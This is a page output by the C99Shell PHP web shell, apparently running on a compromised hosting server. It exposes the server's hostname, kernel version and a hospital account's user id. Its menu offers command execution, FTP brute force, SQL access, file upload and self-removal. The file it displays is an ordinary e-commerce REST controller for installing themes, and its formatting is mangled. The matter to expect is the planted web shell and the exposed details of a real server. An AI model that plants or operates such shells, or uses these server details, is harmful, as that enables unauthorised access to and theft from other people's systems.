!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/API/   drwxr-xr-x
Free 293.01 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OnboardingThemes.php (5.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * REST API Onboarding Themes Controller
 *
 * Handles requests to install and activate themes.
 */

namespace Automattic\Kkart\Admin\API;

use 
Automattic\Kkart\Admin\Features\Onboarding;

defined'ABSPATH' ) || exit;

/**
 * Onboarding Themes Controller.
 *
 * @extends KKART_REST_Data_Controller
 */
class OnboardingThemes extends \KKART_REST_Data_Controller {
    
/**
     * Endpoint namespace.
     *
     * @var string
     */
    
protected $namespace 'kkart-admin';

    
/**
     * Route base.
     *
     * @var string
     */
    
protected $rest_base 'onboarding/themes';

    
/**
     * Register routes.
     */
    
public function register_routes() {
        
register_rest_route(
            
$this->namespace,
            
'/' $this->rest_base '/install',
            array(
                array(
                    
'methods'             => \WP_REST_Server::EDITABLE,
                    
'callback'            => array( $this'install_theme' ),
                    
'permission_callback' => array( $this'update_item_permissions_check' ),
                ),
                
'schema' => array( $this'get_item_schema' ),
            )
        );

        
register_rest_route(
            
$this->namespace,
            
'/' $this->rest_base '/activate',
            array(
                array(
                    
'methods'             => \WP_REST_Server::EDITABLE,
                    
'callback'            => array( $this'activate_theme' ),
                    
'permission_callback' => array( $this'update_item_permissions_check' ),
                ),
                
'schema' => array( $this'get_item_schema' ),
            )
        );
    }

    
/**
     * Check if a given request has access to manage themes.
     *
     * @param  WP_REST_Request $request Full details about the request.
     * @return WP_Error|boolean
     */
    
public function update_item_permissions_check$request ) {
        if ( ! 
current_user_can'install_themes' ) ) {
            return new \
WP_Error'kkart_rest_cannot_update'__'Sorry, you cannot manage themes.''kkart' ), array( 'status' => rest_authorization_required_code() ) );
        }
        return 
true;
    }

    
/**
     * Installs the requested theme.
     *
     * @param  WP_REST_Request $request Full details about the request.
     * @return WP_Error|array Theme installation status.
     */
    
public function install_theme$request ) {
        
$allowed_themes Onboarding::get_allowed_themes();
        
$theme          sanitize_text_field$request['theme'] );

        if ( ! 
in_array$theme$allowed_themestrue ) ) {
            return new \
WP_Error'kkart_rest_invalid_theme'__'Invalid theme.''kkart' ), 404 );
        }

        
$installed_themes wp_get_themes();

        if ( 
in_array$themearray_keys$installed_themes ), true ) ) {
            return( array(
                
'slug'   => $theme,
                
'name'   => $installed_themes$theme ]->get'Name' ),
                
'status' => 'success',
            ) );
        }

        include_once 
KKART_ADMIN_DIR 'includes/admin.php';
        include_once 
KKART_ADMIN_DIR 'includes/theme-install.php';
        include_once 
KKART_ADMIN_DIR 'includes/theme.php';
        include_once 
KKART_ADMIN_DIR 'includes/class-wp-upgrader.php';
        include_once 
KKART_ADMIN_DIR 'includes/class-theme-upgrader.php';

        
$api themes_api(
            
'theme_information',
            array(
                
'slug'   => $theme,
                
'fields' => array(
                    
'sections' => false,
                ),
            )
        );

        if ( 
is_wp_error$api ) ) {
            return new \
WP_Error(
                
'kkart_rest_theme_install',
                
sprintf(
                    
/* translators: %s: theme slug (example: kkart-services) */
                    
__'The requested theme `%s` could not be installed. Theme API call failed.''kkart' ),
                    
$theme
                
),
                
500
            
);
        }

        
$upgrader = new \Theme_Upgrader( new \Automatic_Upgrader_Skin() );
        
$result   $upgrader->install$api->download_link );

        if ( 
is_wp_error$result ) || is_null$result ) ) {
            return new \
WP_Error(
                
'kkart_rest_theme_install',
                
sprintf(
                    
/* translators: %s: theme slug (example: kkart-services) */
                    
__'The requested theme `%s` could not be installed.''kkart' ),
                    
$theme
                
),
                
500
            
);
        }

        return array(
            
'slug'   => $theme,
            
'name'   => $api->name,
            
'status' => 'success',
        );
    }

    
/**
     * Activate the requested theme.
     *
     * @param  WP_REST_Request $request Full details about the request.
     * @return WP_Error|array Theme activation status.
     */
    
public function activate_theme$request ) {
        
$allowed_themes Onboarding::get_allowed_themes();
        
$theme          sanitize_text_field$request['theme'] );
        if ( ! 
in_array$theme$allowed_themestrue ) ) {
            return new \
WP_Error'kkart_rest_invalid_theme'__'Invalid theme.''kkart' ), 404 );
        }

        require_once 
KKART_ADMIN_DIR 'includes/theme.php';

        
$installed_themes wp_get_themes();

        if ( ! 
in_array$themearray_keys$installed_themes ), true ) ) {
            
/* translators: %s: theme slug (example: kkart-services) */
            
return new \WP_Error'kkart_rest_invalid_theme'sprintf__'Invalid theme %s.''kkart' ), $theme ), 404 );
        }

        
$result switch_theme$theme );
        if ( ! 
is_null$result ) ) {
            return new \
WP_Error'kkart_rest_invalid_theme'sprintf__'The requested theme could not be activated.''kkart' ), $theme ), 500 );
        }

        return( array(
            
'slug'   => $theme,
            
'name'   => $installed_themes$theme ]->get'Name' ),
            
'status' => 'success',
        ) );
    }

    
/**
     * Get the schema, conforming to JSON Schema.
     *
     * @return array
     */
    
public function get_item_schema() {
        
$schema = array(
            
'$schema'    => 'http://json-schema.org/draft-04/schema#',
            
'title'      => 'onboarding_theme',
            
'type'       => 'object',
            
'properties' => array(
                
'slug'   => array(
                    
'description' => __'Theme slug.''kkart' ),
                    
'type'        => 'string',
                    
'context'     => array( 'view''edit' ),
                    
'readonly'    => true,
                ),
                
'name'   => array(
                    
'description' => __'Theme name.''kkart' ),
                    
'type'        => 'string',
                    
'context'     => array( 'view''edit' ),
                    
'readonly'    => true,
                ),
                
'status' => array(
                    
'description' => __'Theme status.''kkart' ),
                    
'type'        => 'string',
                    
'context'     => array( 'view''edit' ),
                    
'readonly'    => true,
                ),
            ),
        );

        return 
$this->add_additional_fields_schema$schema );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0043 ]--